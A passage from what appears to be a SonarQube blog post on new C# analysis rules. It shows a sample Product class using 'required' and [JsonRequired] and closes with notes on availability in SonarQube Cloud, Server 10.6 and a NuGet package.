}

It will prompt you to modify it in any of the following ways:

public class Product
{
    public required int Id { get; set; }
    public string Name { get; set; }
    public int? NumberOfItems { get; set; }            
    [JsonRequired] public decimal Price { get; set; }  
}

What’s Next?

These are just a few of the 12 rules we recently added. You can check out all our rules in the product and our programming language documentation.

Many of our users have already provided feedback on the rules. Still, we are always eager to hear your thoughts, especially if any of them report incorrect or invalid results. Please share your feedback. It is a gift!

These rules are available in SonarQube Cloud and SonarQube Server 10.6 today and will soon be available in your SonarQube for IDE flavor. You can also simply install our standalone Nuget package to test them easily.

Go write Code Quality!

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